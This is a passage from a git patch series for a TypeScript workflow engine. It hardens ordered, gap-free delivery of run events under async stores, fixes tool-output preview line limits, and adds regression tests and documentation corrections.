`AgentPlanConfig` for the run loop's convenience), a node's `retry_config` is **not** copied onto the vertex. The run loop (1.N) makes no retry decision: a node failure is terminal only for that **attempt**, which — *without 1.S* — fails the run. Node-level retry above the provider fallback chain is layered by **1.S**, which reads `retry_config` from the authored node (`config.node`) and re-attempts before a node is considered finally failed. ## The dependency graph diff --git a/packages/core/src/engine/engine.test.ts b/packages/core/src/engine/engine.test.ts index cbc12e96..64759e3e 100644 --- a/packages/core/src/engine/engine.test.ts +++ b/packages/core/src/engine/engine.test.ts @@ -79,7 +79,9 @@ function expectThrowsCode(fn: () => void, code: string): void { fn(); } catch (error) { expect(error).toBeInstanceOf(EngineStateError); - expect((error as EngineStateError).code).toBe(code); + if (error instanceof EngineStateError) { + expect(error.code).toBe(code); + } return; } throw new Error(`expected an EngineStateError with code ${code}`); @@ -436,7 +438,9 @@ describe('WorkflowEngine — human gate suspend/resume', () => { } } expect(caught).toBeInstanceOf(EngineStateError); - expect((caught as EngineStateError).code).toBe('unknown_gate'); + if (caught instanceof EngineStateError) { + expect(caught.code).toBe('unknown_gate'); + } }); }); @@ -529,7 +533,8 @@ describe('WorkflowEngine — API-boundary errors (EngineStateError)', () => { const handle = engine.start({ workflow: workflow(SEQUENTIAL) }); await drain(handle); // run to completion so the run exists in the map await expect( - engine.resume(handle.runId, 'g', { decision: 'maybe' } as never), + // @ts-expect-error — an intentionally invalid decision value; resume must reject it via safeParse + engine.resume(handle.runId, 'g', { decision: 'maybe', decidedBy: 't' }), ).rejects.toMatchObject({ code: 'invalid_decision' }); }); @@ -573,7 +578,9 @@ describe('WorkflowEngine — API-boundary errors (EngineStateError)', () => { } } expect(caught).toBeInstanceOf(EngineStateError); - expect((caught as EngineStateError).code).toBe('run_not_paused'); + if (caught instanceof EngineStateError) { + expect(caught.code).toBe('run_not_paused'); + } expect(terminalsIn(events)[0]?.type).toBe('run:completed'); }); diff --git a/packages/core/src/engine/engine.ts b/packages/core/src/engine/engine.ts index 56825213..5076d68d 100644 --- a/packages/core/src/engine/engine.ts +++ b/packages/core/src/engine/engine.ts @@ -596,8 +596,8 @@ class RunExecution { } for (const dep of vertex.dependencies) { const state = this.#states.get(dep); - if (state === undefined || state.status !== 'completed') { - continue; // a skipped or failed dependency carries no live edge + if (state?.status !== 'completed') { + continue; // an unknown, skipped, or failed dependency carries no live edge } const depVertex = this.#plan.vertices.get(dep); if (depVertex?.type === 'condition') { diff --git a/packages/core/src/engine/execution-host.test.ts b/packages/core/src/engine/execution-host.test.ts index b91931a6..1c3bd72c 100644 --- a/packages/core/src/engine/execution-host.test.ts +++ b/packages/core/src/engine/execution-host.test.ts @@ -93,6 +93,23 @@ describe('InMemoryRunStore', () => { }); expect(await store.listInterruptedRuns()).toHaveLength(0); }); + + it('reports a started-but-unfinished run as interrupted (resumable: false)', async () => { + const store = new InMemoryRunStore(); + await store.persistEvent({ + type: 'run:started', + runId: 'r1', + timestamp: '2026-06-13T00:00:00.000Z', + sequenceNumber: 0, + workflowId: '00000000-0000-4000-8000-000000000001', + inputs: {}, + executionMode: 'local', + }); + const interrupted = await store.listInterruptedRuns(); + expect(interrupted).toHaveLength(1); + expect(interrupted[0]?.runId).toBe('r1'); + expect(interrupted[0]?.resumable).toBe(false); // mid-execution crash, not parked at a gate + }); }); describe('createInMemoryHost', () => { diff --git a/packages/core/src/engine/execution-host.ts b/packages/core/src/engine/execution-host.ts index 18838804..6f014676 100644 --- a/packages/core/src/engine/execution-host.ts +++ b/packages/core/src/engine/execution-host.ts @@ -178,8 +178,10 @@ export class InMemoryRunStore implements RunStore { listInterruptedRuns(): Promise { const interrupted: InterruptedRun[] = []; for (const [runId, events] of this.#events) { - const started = events.find((e) => e.type === 'run:started'); - if (started === undefined || started.type !== 'run:started') { + const started = events.find( + (e): e is Extract => e.type === 'run:started', + ); + if (started === undefined) { continue; } if (events.some((e) => TERMINAL_TYPES.has(e.type))) { diff --git a/packages/core/src/tools/bounding.ts b/packages/core/src/tools/bounding.ts index 0d17d31e..6423d41d 100644 --- a/packages/core/src/tools/bounding.ts +++ b/packages/core/src/tools/bounding.ts @@ -178,8 +178,9 @@ function makePreview(text: string, limits: ToolResultLimits): string { let tailSrc: string; const lines = text.split('\n'); if (lines.length > limits.maxLines) { - const headLines = Math.max(1, Math.floor(limits.maxLines * 0.7)); - const tailLines = Math.max(1, limits.maxLines - headLines); + // Reserve one line for the inserted `…` marker so head + tail + ellipsis never exceeds maxLines. + const headLines = Math.max(1, Math.floor((limits.maxLines - 1) * 0.7)); + const tailLines = Math.max(1, limits.maxLines - 1 - headLines); headSrc = lines.slice(0, headLines).join('\n'); tailSrc = lines.slice(lines.length - tailLines).join('\n'); } else { diff --git a/packages/core/src/tools/builtins.test.ts b/packages/core/src/tools/builtins.test.ts index 41d62202..51fe1b45 100644 --- a/packages/core/src/tools/builtins.test.ts +++ b/packages/core/src/tools/builtins.test.ts @@ -156,23 +156,24 @@ describe('built-in dispatch', () => { }); }); -describe('web_search url construction + endpoint validation', () => { - function captureFetch(): { - host: ToolHost; - calls: Array<{ url: string; credentialRef: string | undefined }>; - } { - const calls: Array<{ url: string; credentialRef: string | undefined }> = []; - const host: ToolHost = { - egress: { - fetch: (request) => { - calls.push({ url: request.url, credentialRef: request.credentialRef }); - return Promise.resolve({ status: 200, headers: {}, body: '{}' }); - }, +/** A ToolHost whose egress records each fetch's url + credentialRef — for the web_search url tests. */ +function captureFetch(): { + host: ToolHost; + calls: Array<{ url: string; credentialRef: string | undefined }>; +} { + const calls: Array<{ url: string; credentialRef: string | undefined }> = []; + const host: ToolHost = { + egress: { + fetch: (request) => { + calls.push({ url: request.url, credentialRef: request.credentialRef }); + return Promise.resolve({ status: 200, headers: {}, body: '{}' }); }, - }; - return { host, calls }; - } + }, + }; + return { host, calls }; +} +describe('web_search url construction + endpoint validation', () => { it('appends `?q=` when the endpoint has no query string', async () => { const target = tool('web_search'); const { host, calls } = captureFetch(); diff --git a/packages/core/src/tools/builtins.ts b/packages/core/src/tools/builtins.ts index 0c4598ef..f476674e 100644 --- a/packages/core/src/tools/builtins.ts +++ b/packages/core/src/tools/builtins.ts @@ -53,8 +53,8 @@ function defineBuiltin(spec: BuiltinSpec): ToolDef { parseArgs: (raw: unknown): A => spec.args.parse(raw), llmVisibleParams: spec.llmVisibleParams, policy: spec.policy, - ...(spec.configOnlyParams !== undefined ? { configOnlyParams: spec.configOnlyParams } : {}), - ...(spec.policyTarget !== undefined ? { policyTarget: spec.policyTarget } : {}), + ...(spec.configOnlyParams === undefined ? {} : { configOnlyParams: spec.configOnlyParams }), + ...(spec.policyTarget === undefined ? {} : { policyTarget: spec.policyTarget }), dispatch: spec.dispatch, }; return def; From 6ec6eb3f28ccbb7db38d696f5ee4c467c156e001 Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 21:17:21 +0300 Subject: [PATCH 15/16] fix(core): harden delivery ordering + close pre-merge coverage gaps (PR-17 final review) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The final multi-dimensional pre-merge review surfaced one real latent concurrency bug and a set of missing regression tests on the critical paths. Real bug (1.N) — gap-free / no-drop under an async store: - #emitDurable assigned the gap-free sequenceNumber synchronously but delivered only after `await persistEvent`. With concurrent leaf nodes and an ASYNC store (1.R SQLite, cloud), persists can resolve out of order, so a higher-seq event (or the terminal) could deliver first, close the stream, and DROP the slower lower-seq event — violating the ADR-0036 gap-free/no-drop primary-stream contract. InMemoryRunStore resolves synchronously, which masks it today; the seam exists so an async store plugs in unchanged, and it would fire on the very next workstream. Fix: a per-run #deliveryTail chains each deliver in sequenceNumber order (next() assigns seq synchronously in call order), so a higher-seq event always waits for the lower-seq deliver. Persists stay concurrent; only delivery is serialized. Regression test: an async store that resolves the first parallel leaf's write slower than the second, asserting the delivered set stays gap-free. Doc: - sse-event-schema: session:turn_completed error shape now lists correlationId? to match eventErrorFields (the shared shape it governs) and the node:failed/run:failed rows. Coverage (the two test/standards block verdicts): - node:failed now asserts its stamped correlationId (the join field's primary carrier). - assertGapFreeSeq added to every failure / store-fault delivery path (uncaught throw, classified failure, mid-run persist reject, every-write-rejects, terminal-only-write, gate-pause, cancel, async-ordering) — and now checks the SET, not delivery position. - new tests: cancel-wins-a-racing-node-failure (-> run:cancelled); the settle-time backstop (#failNodeInternal, no node:failed); run:failed partialOutputs contents; InMemoryRunStore resumable:true for all RESUMABLE_LAST_TYPES; the no-sink throwing- subscriber out-of-band surfacing; a multi-hop dead-chain skip (anti-topological, to exercise the #propagateSkips fixpoint loop); the shared correlationId accept/reject schema cases; registry result outputSummary wiring; makeSummary cap + collapse. 1.T: - bounding makePreview emits head-only when maxLines < 3 (the head\n…\ntail shape needs 3 lines), so the preview never exceeds the line ceiling even at a tiny limit. 491 core + 238 shared tests; turbo lint/typecheck/test/build green; >=90% line+branch; both purity gates clean; prettier clean. Refs: ADR-0036, ADR-0037 Co-Authored-By: Claude Opus 4.8 --- docs/reference/contracts/sse-event-schema.md | 2 +- packages/core/src/engine/engine.test.ts | 187 +++++++++++++++++- packages/core/src/engine/engine.ts | 55 ++++-- packages/core/src/engine/event-bus.test.ts | 26 +++ .../core/src/engine/execution-host.test.ts | 51 +++++ packages/core/src/tools/bounding.test.ts | 7 + packages/core/src/tools/bounding.ts | 5 + packages/core/src/tools/registry.test.ts | 4 + packages/shared/src/run-event.test.ts | 47 +++++ 9 files changed, 361 insertions(+), 23 deletions(-) diff --git a/docs/reference/contracts/sse-event-schema.md b/docs/reference/contracts/sse-event-schema.md index 6c9cbb0e..a194f292 100644 --- a/docs/reference/contracts/sse-event-schema.md +++ b/docs/reference/contracts/sse-event-schema.md @@ -195,7 +195,7 @@ export type SessionEvent = | SessionExportedEvent; // 'session:exported' — { workflowPath } (chat-to-workflow export) ``` -A turn that fails (provider error, rate limit, cancellation) still emits `session:turn_completed` with an `error?: { code, message, retryable }` — the same closed [`ErrorCode`](#error-code-taxonomy) taxonomy as run events — so a surface can render the failure rather than a silent stall. +A turn that fails (provider error, rate limit, cancellation) still emits `session:turn_completed` with an `error?: { code, message, retryable, correlationId? }` — the same closed [`ErrorCode`](#error-code-taxonomy) taxonomy and secret-free correlation id as run events (ADR-0036) — so a surface can render the failure rather than a silent stall. Within a turn, the conversational work reuses the **same** `agent:token` / `agent:tool_call` / `agent:tool_result` / `cost:updated` event shapes the `AgentRunner` already emits — carried on the session envelope (`sessionId`). The per-turn append of user/assistant/tool messages is persisted as `session_messages` (see [database-schema.md](../desktop/database-schema.md)); the contract is owned by [agent-session-spec.md](agent-session-spec.md). On every surface session events are produced and consumed **in-process** exactly like run events — only `llm_stream` crosses IPC on the desktop ([ipc-contract.md](ipc-contract.md#run-events-are-webview-side)). So the **complete typed event stream for a session** is the five `session:*` lifecycle events (the `SessionEvent` union above) **plus** `agent:token` / `agent:tool_call` / `agent:tool_result` / `cost:updated` carrying `sessionId` — this full set is exactly what `relavium chat --json` emits. diff --git a/packages/core/src/engine/engine.test.ts b/packages/core/src/engine/engine.test.ts index 64759e3e..a54f8b56 100644 --- a/packages/core/src/engine/engine.test.ts +++ b/packages/core/src/engine/engine.test.ts @@ -265,6 +265,45 @@ describe('WorkflowEngine — cancellation', () => { // `done` is downstream of the cancelled node — it must never have started. expect(events.some((e) => e.type === 'node:started' && e.nodeId === 'done')).toBe(false); }); + + it('cancel wins a racing node failure: a node that fails while cancelling ends in run:cancelled', async () => { + const engine = engineWith({ + slow: (ctx) => + new Promise((resolve) => { + const onAbort = (): void => + resolve({ + kind: 'failed', + error: { code: 'tool_failed', message: 'failed during cancel', retryable: false }, + }); + if (ctx.signal.aborted) { + onAbort(); + return; + } + ctx.signal.addEventListener('abort', onAbort); + }), + }); + const handle = engine.start({ + workflow: workflow(` id: cancelfail + nodes: + - { id: start, type: input } + - { id: slow, type: transform, transform: 's' } + - { id: done, type: output } + edges: + - { from: start, to: slow } + - { from: slow, to: done }`), + }); + const events: RunEvent[] = []; + for await (const event of handle.events) { + events.push(event); + if (event.type === 'node:started' && event.nodeId === 'slow') { + engine.cancel(handle.runId); // abort fires; the in-flight node then settles as `failed` + } + } + assertGapFreeSeq(events); + expect(terminalsIn(events)).toHaveLength(1); + expect(terminalsIn(events)[0]?.type).toBe('run:cancelled'); // cancel wins the late failure (ADR-0036) + expect(events.some((e) => e.type === 'node:started' && e.nodeId === 'done')).toBe(false); + }); }); // --- condition skip-propagation + fan-in over a skipped branch -------------------------------- @@ -329,6 +368,43 @@ describe('WorkflowEngine — condition skip-propagation', () => { expect(startedNodes).not.toContain('out'); // and everything below it expect(terminalsIn(events)[0]?.type).toBe('run:completed'); }); + + it('skips a multi-hop dead chain while the live sibling still joins (fixpoint convergence)', async () => { + // gate -> a -> b -> join (dead chain) and gate -> c -> join (live). `a`/`b` are declared in + // anti-topological order (b before a) so a single forward skip pass is insufficient — the + // #propagateSkips while(changed) loop must re-iterate to skip the whole chain. + const events = await drain( + engineWith({ + gate: () => ({ kind: 'branch', output: 'go', selected: ['c'] }), + }).start({ + workflow: workflow(` id: deepskip + nodes: + - { id: start, type: input } + - { id: gate, type: condition, expression: 'x', branches: [{ when: true, target_node: c }, { when: false, target_node: a }] } + - { id: b, type: transform, transform: 'b' } + - { id: a, type: transform, transform: 'a' } + - { id: c, type: transform, transform: 'c' } + - { id: join, type: merge, merge_strategy: concat } + - { id: out, type: output } + edges: + - { from: start, to: gate } + - { from: a, to: b } + - { from: b, to: join } + - { from: c, to: join } + - { from: join, to: out }`), + }), + ); + const startedNodes = events + .filter((e) => e.type === 'node:started') + .map((e) => (e.type === 'node:started' ? e.nodeId : '')); + expect(startedNodes).toContain('c'); + expect(startedNodes).toContain('join'); // the live sibling lets the fan-in join… + expect(startedNodes).toContain('out'); + expect(startedNodes).not.toContain('a'); // …while the whole dead chain a -> b is skipped + expect(startedNodes).not.toContain('b'); + assertGapFreeSeq(events); + expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + }); }); // --- exactly-one-terminal-event guarantees ---------------------------------------------------- @@ -356,9 +432,10 @@ describe('WorkflowEngine — the exactly-one-terminal-event invariant', () => { // The user-safe message never leaks the thrown error text. expect(failed.error.message).not.toContain('kaboom'); expect(events.some((e) => e.type === 'node:started' && e.nodeId === 'done')).toBe(false); + assertGapFreeSeq(events); }); - it('maps a classified node failure to node:failed then a single run:failed', async () => { + it('maps a classified node failure to node:failed (with correlationId) then a single run:failed', async () => { const events = await drain( engineWith({ work: () => ({ @@ -367,10 +444,25 @@ describe('WorkflowEngine — the exactly-one-terminal-event invariant', () => { }), }).start({ workflow: workflow(SEQUENTIAL) }), ); - expect(typesIn(events)).toContain('node:failed'); + const nodeFailed = events.find((e) => e.type === 'node:failed'); + if (nodeFailed?.type !== 'node:failed') { + throw new Error('expected node:failed'); + } + expect(nodeFailed.nodeId).toBe('work'); + // The correlation id is stamped on node:failed itself (ADR-0036), not only on the run:failed aggregate. + expect(typeof nodeFailed.error.correlationId).toBe('string'); + expect(nodeFailed.error.correlationId).not.toBe(''); const terminals = terminalsIn(events); expect(terminals).toHaveLength(1); - expect(terminals[0]?.type).toBe('run:failed'); + const failed = terminals[0]; + if (failed?.type !== 'run:failed') { + throw new Error('expected run:failed'); + } + // partialOutputs carries the already-completed `start`, never the failed `work` or the unreached `done`. + expect(Object.keys(failed.partialOutputs)).toContain('start'); + expect(failed.partialOutputs).not.toHaveProperty('work'); + expect(failed.partialOutputs).not.toHaveProperty('done'); + assertGapFreeSeq(events); }); }); @@ -639,6 +731,7 @@ describe('WorkflowEngine — internal failures and handle-side controls', () => if (terminals[0]?.type === 'run:failed') { expect(terminals[0].error.code).toBe('internal'); } + assertGapFreeSeq(events); }); it('cancels via the handle, and a second cancel while cancelling is an idempotent no-op', async () => { @@ -670,6 +763,7 @@ describe('WorkflowEngine — internal failures and handle-side controls', () => handle.cancel(); // idempotent — must not throw or emit a second terminal } } + assertGapFreeSeq(events); expect(terminalsIn(events)).toHaveLength(1); expect(terminalsIn(events)[0]?.type).toBe('run:cancelled'); }); @@ -692,6 +786,7 @@ describe('WorkflowEngine — internal failures and handle-side controls', () => ); expect(terminalsIn(events)).toHaveLength(1); expect(terminalsIn(events)[0]?.type).toBe('run:failed'); + assertGapFreeSeq(events); }); it('delivers the terminal run:completed even when only the terminal durable write fails', async () => { @@ -715,6 +810,7 @@ describe('WorkflowEngine — internal failures and handle-side controls', () => ); expect(terminalsIn(events)).toHaveLength(1); expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + assertGapFreeSeq(events); }); it('handle.cancel() after the run terminated is an idempotent no-op (does not throw)', async () => { @@ -760,6 +856,91 @@ describe('WorkflowEngine — internal failures and handle-side controls', () => ); expect(terminalsIn(events)).toHaveLength(1); expect(terminalsIn(events)[0]?.type).toBe('run:failed'); + assertGapFreeSeq(events); + }); + + it('orders delivery by sequenceNumber under an async store whose writes resolve out of order', async () => { + // Regression for the gap-free/no-drop contract under an ASYNC store (1.R SQLite, cloud): with two + // parallel leaf nodes, the FIRST node:completed's persist is made slower than the second's. Without + // seq-ordered delivery, the faster (higher-seq) event — and the terminal — would land first, close + // the stream, and DROP the slower lower-seq event. The #deliveryTail must keep the delivered set gap-free. + const inner = new InMemoryRunStore(); + let nodeCompletedSeen = 0; + const host: ExecutionHost = { + ...createInMemoryHost(), + store: { + resolveWorkflowId: (slug) => inner.resolveWorkflowId(slug), + persistEvent: (event) => { + if (event.type === 'node:completed' && ['b1', 'b2'].includes(event.nodeId)) { + // Make the first branch's write resolve LATER than the second's (out-of-order completion). + const delay = ++nodeCompletedSeen === 1 ? 20 : 1; + return new Promise((resolve) => setTimeout(resolve, delay)).then(() => + inner.persistEvent(event), + ); + } + return inner.persistEvent(event); + }, + listInterruptedRuns: () => inner.listInterruptedRuns(), + }, + }; + const events = await drain( + new WorkflowEngine({ host, executor: new StubExecutor() }).start({ + workflow: workflow(` id: par2 + max_parallel: 2 + nodes: + - { id: start, type: input } + - { id: fan, type: parallel, parallel_of: [b1, b2] } + - { id: b1, type: output } + - { id: b2, type: output } + edges: + - { from: start, to: fan }`), + }), + ); + assertGapFreeSeq(events); // no dropped lower-seq event despite out-of-order persist resolution + expect(terminalsIn(events)).toHaveLength(1); + expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + }); + + it('fails the run via the settle-time backstop when stamping a node event throws (no node:failed)', async () => { + // Poison exactly the work node:completed TIMESTAMP so RunEventBus.next's Zod parse throws inside + // #emitDurable, reaching the #onOutcome backstop (#failNodeInternal). After the work executor returns, + // #settleCompleted reads the clock once for durationMs (#elapsedMs) and then once for the stamp — so a + // 2-step countdown lands the malformed value on the stamp. The run still terminates once as + // run:failed{internal} and emits NO node:failed (the documented backstop deviation). + let countdown = 0; + let t = 1_700_000_000_000; + const host: ExecutionHost = { + ...createInMemoryHost(), + clock: { + now: () => { + if (countdown > 0) { + countdown -= 1; + if (countdown === 0) { + return 'not-a-timestamp'; + } + } + return new Date(t++).toISOString(); + }, + }, + }; + const events = await drain( + new WorkflowEngine({ + host, + executor: new StubExecutor({ + work: () => { + countdown = 2; // next read = durationMs (#elapsedMs, valid); the one after = the stamp (poisoned) + return { kind: 'completed', output: 'w' }; + }, + }), + }).start({ workflow: workflow(SEQUENTIAL) }), + ); + const terminals = terminalsIn(events); + expect(terminals).toHaveLength(1); + expect(terminals[0]?.type).toBe('run:failed'); + if (terminals[0]?.type === 'run:failed') { + expect(terminals[0].error.code).toBe('internal'); + } + expect(events.some((e) => e.type === 'node:failed')).toBe(false); // backstop emits no node:failed }); it('reconcile() skips a run whose terminal write fails and still reconciles the others', async () => { diff --git a/packages/core/src/engine/engine.ts b/packages/core/src/engine/engine.ts index 5076d68d..44a4e75c 100644 --- a/packages/core/src/engine/engine.ts +++ b/packages/core/src/engine/engine.ts @@ -143,6 +143,8 @@ class RunExecution { #scheduling = false; #rerun = false; #pauseEpisode = false; + /** Serializes event DELIVERY by sequenceNumber so an async store can't deliver events out of order. */ + #deliveryTail: Promise = Promise.resolve(); #startEpochMs = 0; #cumulativeCostMicrocents = 0; #totalInputTokens = 0; @@ -717,27 +719,42 @@ class RunExecution { // **non-terminal** event we additionally fail the run (we must never report progress the durable // log lacks); a terminal whose write fails is still delivered in-process, and `reconcile()` repairs // the durable record on restart. + // + // DELIVERY IS ORDERED BY sequenceNumber, not by persist-resolution order. `#bus.next` assigns the + // seq synchronously in call order, and #emitDurable is invoked synchronously at the top of each + // settle path before any await — so chaining each deliver onto a single per-run #deliveryTail makes + // a higher-seq event wait for the lower-seq event's deliver. Persists stay concurrent; only delivery + // is serialized. Without this, two concurrent leaf nodes under an ASYNC store (1.R SQLite, cloud) + // could resolve out of order — delivering a later node:completed (or the terminal) first, closing + // the stream, and dropping the earlier event (a gap-free / no-drop violation). InMemoryRunStore + // resolves synchronously, which masks it; the seam exists precisely so an async store plugs in. const event = this.#bus.next(draft); - try { - await this.#host.store.persistEvent(event); - } catch { - if (!TERMINAL_TYPES.has(event.type) && this.#failure === undefined && !this.#cancelling) { - this.#failure = { - error: { - code: 'internal', - message: 'a durable run-event write failed', - retryable: false, - }, - }; - this.#abort.abort(); - // Re-enter the scheduler so the run actually settles. Most callers re-schedule after - // #emitDurable (begin/resume) or via #onOutcome's unconditional #schedule, but #emitPausedOnce - // (the run:paused path) returns straight to #step's bare `return` — without this, a gate-pause - // persist failure would set #failure yet never reach #settle, re-creating the zombie run. - this.#schedule(); + const prior = this.#deliveryTail; + const settled = (async (): Promise => { + try { + await this.#host.store.persistEvent(event); + } catch { + if (!TERMINAL_TYPES.has(event.type) && this.#failure === undefined && !this.#cancelling) { + this.#failure = { + error: { + code: 'internal', + message: 'a durable run-event write failed', + retryable: false, + }, + }; + this.#abort.abort(); + // Re-enter the scheduler so the run actually settles. Most callers re-schedule after + // #emitDurable (begin/resume) or via #onOutcome's unconditional #schedule, but #emitPausedOnce + // (the run:paused path) returns straight to #step's bare `return` — without this, a gate-pause + // persist failure would set #failure yet never reach #settle, re-creating the zombie run. + this.#schedule(); + } } - } - this.#bus.deliver(event); + await prior; // deliver in seq order: the lower-seq event's deliver must land first + this.#bus.deliver(event); + })(); + this.#deliveryTail = settled.catch(() => undefined); + await settled; } #elapsedMs(): number { diff --git a/packages/core/src/engine/event-bus.test.ts b/packages/core/src/engine/event-bus.test.ts index f1f80233..d67acc3d 100644 --- a/packages/core/src/engine/event-bus.test.ts +++ b/packages/core/src/engine/event-bus.test.ts @@ -117,4 +117,30 @@ describe('RunEventBus — delivery and subscription', () => { expect(onListenerError).toHaveBeenCalledTimes(1); expect(onListenerError).toHaveBeenCalledWith(expect.any(Error), event); }); + + it('with no sink: isolates a throwing subscriber and surfaces the error out-of-band, not swallowed', async () => { + const bus = new RunEventBus({ now: fakeNow() }); // no onListenerError → the #surfaceOutOfBand path + const sibling: RunEvent[] = []; + const rejections: unknown[] = []; + const onRejection = (reason: unknown): void => { + rejections.push(reason); + }; + // Capture the deferred re-throw so it does not escape as a process-level unhandled rejection. + process.on('unhandledRejection', onRejection); + try { + const boom = new Error('subscriber boom'); + bus.subscribe(() => { + throw boom; + }); + bus.subscribe((event) => sibling.push(event)); + // deliver() must NOT throw into the producer, and the sibling still receives the event. + expect(() => bus.emit(nodeStarted('run-1', 'a'))).not.toThrow(); + expect(sibling).toHaveLength(1); + // Flush microtasks (a macrotask tick) so the deferred re-throw becomes the rejection we captured. + await new Promise((resolve) => setTimeout(resolve, 0)); + expect(rejections).toContain(boom); // surfaced, not silently swallowed + } finally { + process.removeListener('unhandledRejection', onRejection); + } + }); }); diff --git a/packages/core/src/engine/execution-host.test.ts b/packages/core/src/engine/execution-host.test.ts index 1c3bd72c..d9398aa9 100644 --- a/packages/core/src/engine/execution-host.test.ts +++ b/packages/core/src/engine/execution-host.test.ts @@ -110,6 +110,57 @@ describe('InMemoryRunStore', () => { expect(interrupted[0]?.runId).toBe('r1'); expect(interrupted[0]?.resumable).toBe(false); // mid-execution crash, not parked at a gate }); + + it('reports a run parked at a suspension event as interrupted (resumable: true)', async () => { + // Pin every RESUMABLE_LAST_TYPES member directly against the store — incl. run:paused / budget:paused + // that the engine path does not seed in these tests. + const at = '2026-06-13T00:00:00.000Z'; + const lastEvents: RunEvent[] = [ + { + type: 'human_gate:paused', + runId: 'r1', + timestamp: at, + sequenceNumber: 1, + nodeId: 'g', + gateId: 'gid', + gateType: 'approval', + message: 'approve?', + }, + { + type: 'run:paused', + runId: 'r1', + timestamp: at, + sequenceNumber: 1, + pendingGateCount: 1, + gateIds: ['gid'], + }, + { + type: 'budget:paused', + runId: 'r1', + timestamp: at, + sequenceNumber: 1, + spentMicrocents: 100, + limitMicrocents: 50, + }, + ]; + for (const last of lastEvents) { + const store = new InMemoryRunStore(); + await store.persistEvent({ + type: 'run:started', + runId: 'r1', + timestamp: at, + sequenceNumber: 0, + workflowId: '00000000-0000-4000-8000-000000000001', + inputs: {}, + executionMode: 'local', + }); + await store.persistEvent(last); + const interrupted = await store.listInterruptedRuns(); + expect(interrupted, last.type).toHaveLength(1); + expect(interrupted[0]?.resumable, last.type).toBe(true); + expect(interrupted[0]?.lastSequenceNumber, last.type).toBe(1); + } + }); }); describe('createInMemoryHost', () => { diff --git a/packages/core/src/tools/bounding.test.ts b/packages/core/src/tools/bounding.test.ts index abc4e2ad..083f4589 100644 --- a/packages/core/src/tools/bounding.test.ts +++ b/packages/core/src/tools/bounding.test.ts @@ -34,6 +34,13 @@ describe('boundForModel', () => { expect(bounded.summary).toContain('ok'); }); + it('summary collapses whitespace and caps at 500 chars + an ellipsis marker', async () => { + const bounded = await boundForModel('a b\n\n c'.padEnd(2000, ' x'), BIG, host()); + expect(bounded.summary.length).toBeLessThanOrEqual(501); // SUMMARY_MAX (500) + '…' + expect(bounded.summary).not.toMatch(/\s\s/); // whitespace runs collapsed to single spaces + expect(bounded.summary.endsWith('…')).toBe(true); // capped → ellipsis marker, never the raw full text + }); + it('truncates an over-byte result and spills via the output store', async () => { const spill = vi.fn((text: string) => Promise.resolve({ ref: 'spill://abc', byteLength: text.length }), diff --git a/packages/core/src/tools/bounding.ts b/packages/core/src/tools/bounding.ts index 6423d41d..afe374d1 100644 --- a/packages/core/src/tools/bounding.ts +++ b/packages/core/src/tools/bounding.ts @@ -188,6 +188,11 @@ function makePreview(text: string, limits: ToolResultLimits): string { tailSrc = text; } const byteBudget = Math.max(0, limits.maxBytes); + // The `head\n…\ntail` shape spends 3 lines; below that ceiling there's no room for a separate tail + // line, so emit head-only to keep the preview within maxLines. + if (limits.maxLines < 3) { + return sliceToBytes(headSrc, byteBudget, false); + } const head = sliceToBytes(headSrc, Math.floor(byteBudget * 0.7), false); const tail = sliceToBytes(tailSrc, Math.floor(byteBudget * 0.3), true); return tail === '' ? head : `${head}\n…\n${tail}`; diff --git a/packages/core/src/tools/registry.test.ts b/packages/core/src/tools/registry.test.ts index bf14cbb9..983e291c 100644 --- a/packages/core/src/tools/registry.test.ts +++ b/packages/core/src/tools/registry.test.ts @@ -118,6 +118,10 @@ describe('ToolRegistry — happy path and outcome shape', () => { expect(out.events.call).toEqual({ toolId: 'read_file', toolInput: { path: 'a.txt' } }); expect(out.events.result.success).toBe(true); expect(out.events.result.toolId).toBe('read_file'); + // The result event carries a bounded, non-empty summary (registry → bounding wiring), not raw/empty. + expect(typeof out.events.result.outputSummary).toBe('string'); + expect(out.events.result.outputSummary.length).toBeGreaterThan(0); + expect(out.events.result.outputSummary).toContain('body:a.txt'); }); it('exposes has() and a sorted list() of every built-in', () => { diff --git a/packages/shared/src/run-event.test.ts b/packages/shared/src/run-event.test.ts index 5f0ec799..f4732aad 100644 --- a/packages/shared/src/run-event.test.ts +++ b/packages/shared/src/run-event.test.ts @@ -539,3 +539,50 @@ describe('MaskedSecretSchema', () => { ).toBe(false); }); }); + +describe('correlationId on the shared error shape (ADR-0036)', () => { + it('accepts a non-empty correlationId on node:failed and run:failed', () => { + expect( + RunEventSchema.safeParse({ + ...valid['node:failed'], + error: { code: 'tool_failed', message: 'boom', retryable: false, correlationId: 'corr-1' }, + }).success, + ).toBe(true); + expect( + RunEventSchema.safeParse({ + ...valid['run:failed'], + error: { code: 'internal', message: 'boom', retryable: false, correlationId: 'corr-1' }, + }).success, + ).toBe(true); + }); + + it('rejects an empty correlationId (nonEmptyString) on node:failed', () => { + expect( + RunEventSchema.safeParse({ + ...valid['node:failed'], + error: { code: 'tool_failed', message: 'boom', retryable: false, correlationId: '' }, + }).success, + ).toBe(false); + }); + + it('accepts a correlationId on a session:turn_completed error and rejects an empty one', () => { + const base = { ...validSession['session:turn_completed'] }; + expect( + SessionEventSchema.safeParse({ + ...base, + error: { + code: 'provider_rate_limit', + message: 'slow', + retryable: true, + correlationId: 'c1', + }, + }).success, + ).toBe(true); + expect( + SessionEventSchema.safeParse({ + ...base, + error: { code: 'provider_rate_limit', message: 'slow', retryable: true, correlationId: '' }, + }).success, + ).toBe(false); + }); +}); From bb1b8211d6a304b418e2746a5dc510717c8e029f Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 22:59:48 +0300 Subject: [PATCH 16/16] docs(core): correct egress-normalizer milestone ref + schema-authority wording (PR-17 review) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three valid findings from the latest review batch; two skipped. - built-in-tools "Return shapes": drop the "(the egress tools at 1.AE)" parenthetical. 1.AE is the multimodal media-INPUT adapter milestone (the OpenAI textOf flatten fix in @relavium/llm), not the egress tools' output normalizer — a mis-attribution, not just a stale number. Replaced with the neutral "until a provider-specific normalizer lands". - registry.ts: same wrong "1.AE" ref on the host-egress SSRF range-block comment, 